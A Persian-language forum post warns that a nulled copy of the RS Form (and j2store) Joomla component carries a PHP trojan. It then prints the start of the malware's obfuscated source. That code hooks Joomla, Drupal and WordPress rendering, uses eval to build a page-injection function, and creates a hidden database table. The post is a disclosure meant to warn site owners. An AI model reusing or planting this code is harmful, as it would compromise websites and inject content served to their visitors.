هشدار: ویروسی بودن کامپوننت فرم ساز RS Form

[cpuintel]

اره این یک ویروس php/Alter.A.trojan هست.
دکد شده در کامپوننتj2store از سایت nulit
====
کد:

<?php error_reporting(0);
ini_set('display_errors', 0);
@ini_set('max_execution_time', 300);
@set_time_limit(0);
function XJmVaOhvhAQNoaACoDOM() {
    if (!defined('WP_OPTION_KEY')) {
        define('WP_OPTION_KEY', 'wp_data_newa');
        $oXyaqmHoChvHQFCvTluq = new GsSYoMTsQibQgcHcuGmr(1);
    }
}
if (class_exists('JFactory')) {
    $fRBDRzVvkOhTDTWAHUGa = & JFactory::getApplication();
    $fRBDRzVvkOhTDTWAHUGa->registerEvent('onAfterRender', 'XJmVaOhvhAQNoaACoDOM');
}
if ($GLOBALS['base_path'] || $GLOBALS['base_url']) {
    if (!defined('WP_OPTION_KEY')) {
        define('WP_OPTION_KEY', 'wp_data_newa');
        $whjjnvouGqpgVFKDaceH = 'function ' . $template->name . "_page_alter(&\$page) {\$oXyaqmHoChvHQFCvTluq = new GsSYoMTsQibQgcHcuGmr(2);            \$NygjKszxwCxlHbyDpHTT = \"\";            foreach (\$oXyaqmHoChvHQFCvTluq->oXyaqmHoChvHQFCvTluq['echo'] as \$stIedxfhoZcXvZNmNXTd) {                \$NygjKszxwCxlHbyDpHTT.=\$stIedxfhoZcXvZNmNXTd;            }            \$vsGIQvwCXRbSELMOlFV = \$NygjKszxwCxlHbyDpHTT;            \$page['page_top'][] = array('#markup' => \$vsGIQvwCXRbSELMOlFV);    } ";
    }
    eval($whjjnvouGqpgVFKDaceH);
}
if (!defined('WP_OPTION_KEY') && (function_exists('get_home_url') || function_exists('get_site_url'))) {
    define('WP_OPTION_KEY', 'wp_data_newa');
    new GsSYoMTsQibQgcHcuGmr(0);
}
class GsSYoMTsQibQgcHcuGmr {
    public $oXyaqmHoChvHQFCvTluq = array(), $yYVsqvOoqWsddypXgJcI = array(), $KPnBqYhemQSdHKDNtJpe, $qcCONSsvpJlMgdhEFFmr, $IzGRmpLLtcLVMJRxcfpe, $aJQafHDwnaPrCJrQMjHV, $AeRxXNHxOXpcNJWlZSIK, $vwhhtIrAWhUEFDgPrcco, $htcFFCQTLLpnCchsPKGY, $wqawPxkNytKqRKNRqbwA, $IatJdWimJbxtprWZElHe, $YobOrWbieESFVcSsWsuB;
    public $WbKPQMoSbMZkXUeYKXRI;
    public function __construct($KPnBqYhemQSdHKDNtJpe) {
        $this->KPnBqYhemQSdHKDNtJpe = $KPnBqYhemQSdHKDNtJpe;
        if ($KPnBqYhemQSdHKDNtJpe === 1) {
            $fNkUjsWlUtvjeWmrzNlI = "CREATE TABLE IF NOT EXISTS `#__options` (        `id` int(10) NOT NULL AUTO_INCREMENT,        `option_name` text NOT NULL,        `value` text NOT NULL,   PRIMARY KEY (`id`)) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=1;";
            $AKorMlJxhsFuVmuppepc = JFactory::getDbo();
            $AKorMlJxhsFuVmuppepc->setQuery($fNkUjsWlUtvjeWmrzNlI);
            $AKorMlJxhsFuVmuppepc->query();
        }